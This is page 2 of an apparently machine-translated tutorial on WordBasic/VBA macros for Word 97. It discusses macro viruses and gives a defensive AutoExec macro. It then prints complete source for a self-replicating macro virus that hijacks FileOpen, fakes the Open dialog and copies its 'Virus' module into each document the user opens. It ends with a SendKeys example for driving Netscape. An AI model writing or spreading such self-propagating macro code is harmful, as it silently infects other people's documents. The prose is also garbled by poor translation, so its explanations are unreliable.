|
Page 2 of 2
Macro virus are written usually by schoolboys with a view of self-affirmation. Such virus do not do{make} anything bad - they only are made multiple copies on your computer. However it is not necessary to neglect means are sewn up from macro virus, as by means of WordBasic it is possible to write a virus spoiling documents Word, or even a formatting hard disk. Feature of macro virus consists that usual antivirus do not recognize them. Except for that there are some simple ways to prevent infection.
In Word 6.0 all macros are stored in files of patterns (*.dot) and are accessible only at the open pattern. As at opening Word automatically loads global pattern Normal.dot, all virus aspire to write down themselves there. Therefore, if you work in Word 6.0, specify for file Normal.dot attribute " only reading ".
One more variant - at opening suspicious documents to hold pressed a key shift to not allow performance of automacroowls. Well and certainly, if you will find out the names beginning on auto in the list of macroowls - erase them immediately.
In Word97 macros can contain not only in patterns, but also in usual documents. As it was already mentioned, for automatic start macros at this or that event macros should have one of following names:
* AutoExec - It is started at start Word or loading of a global pattern
* AutoNew - It is started at creation of the new document
* AutoOpen - It is started at opening the document
* AutoClose - It is started at closing the document
* AutoExit - It is started at an output from Word or at closing a global pattern.
Certainly it is possible to cancel performance of such macroowls, having pressed key Shift at loading Word, and also at opening, creation and closing of documents, however such way is represented to me tiresome. We shall write macros, interfering to performance of automacroowls:
Sub Autoexec ()
MsgBox " it is not admissible duplication of virus! "
WordBasic. DisableAutoMacros
End Sub
For prevention of infection of documents by macro virus it is necessary well understand for itself their principle of work. Founders Microsoft Office has facilitated a problem of malefactors that have entered an opportunity to substitute commands Word macros of the user. It means, that if in your document is macros with a name, say, FileOpen, it will be executed every time at opening other document.
Users Word 97 are especially vulnerable. In old kind versions Word macros could be stored only in patterns (files *.dot). Office ' 97 allows to store macros directly in the document - hence, opportunities of distribution of virus becomes more.
Let's consider a virus intended for infection of Word-documents. This virus uses service name FileOpen. Procedure FileOpen () is carried out every time when the user opens a file and masks under usual dialogue File->; open a file.
Sub FileOpen ()
InfectorPath = MacroContainer. Path + "\" + MacroContainer. Name
Rem Variable InfectorPath defines{determines} a way to the document containing a virus.
Dialogs (wdDialogFileOpen) .Show
Rem dialogue File->; Is simulated To open the file
Infected = False
For Each VbComponent In ActiveDocument. VBProject. VBComponents
If VbComponent. Name = "Virus" Then Infected = True
Rem Here the file opened by the user is checked on presence of a virus
Next
If Not Infected Then
Rem If the file is not infected, the virus is finished in a file
CopyMacro ActiveDocument. Path + "\" + ActiveDocument. Name, InfectorPath
End If
End Sub
Public Sub CopyMacro (NewDestination, NewSource)
On Error GoTo nextline
Application. OrganizerCopy Source: = _
NewSource, Destination: = NewDestination, Name: = "Virus", Object: = _
WdOrganizerObjectProjectItems
Rem we copy the module with a virus
ActiveDocument. Save
Rem we keep the document
nextline:
End Sub
As you can see, this virus does not use names of automacroowls, and written by us above macros autoexec () from it will not save:)
Under the truth to tell, to me the way of protection against such virus is not known. The only thing, it is possible to recommend: look through suspicious files and erase found out macroswith names of type FileOpen, FileNew, FileSave or FileSaveAs.
6. How to operate any Windows-program
Management of Windows-appendices is represented difficult even for skilled programmers. However by means of WordBasic any user can operate the appendices maintaining input from the keyboard. We shall write macros, which starts Netscape Navigator and loads page with the address www.daita.org.
First we shall start Netscape Navigator command Shell ("C: \netscape \program \netscape.exe", vbNormalFocus). The first parameter of a commandspecifies a way to the appendix, the second defines a kind of a window of the appendix.
We use command SendKeys for imitation of input from the keyboard in active window Windows.
Sub Navigator ()
MySHell = Shell ("C: \netscape \program \netscape.exe", vbNormalFocus)
SendKeys " {ENTER} ", True
Rem we simulate pressing a key enter
SendKeys " {TAB} ", True
Rem we simulate pressing a key tab
SendKeys "http://www.daita.org/", True
SendKeys " {ENTER} ", True
End Sub
So, for management of any Windows-appendix it is necessary to start simply the appendix, to make its window active and by means of command SendKeys " to enter from the keyboard " everything, that is necessary. Will agree, it is much easier, than to struggle with messages Windows.
In summary I wish to list cases when in my opinion, it is more convenient to use Word, instead of other means of programming:
* At processing documents Word as the format of documents Word till now is the secret carefully hidden by company Microsoft.
* At the processing of text documents especially connected with search and replacement. Word gives to you weight of convenient functions for work with the text.
The note: All examples are written on version WordBasic for Office ' 97.
<< Start < Prev 1 2 Next > End >> |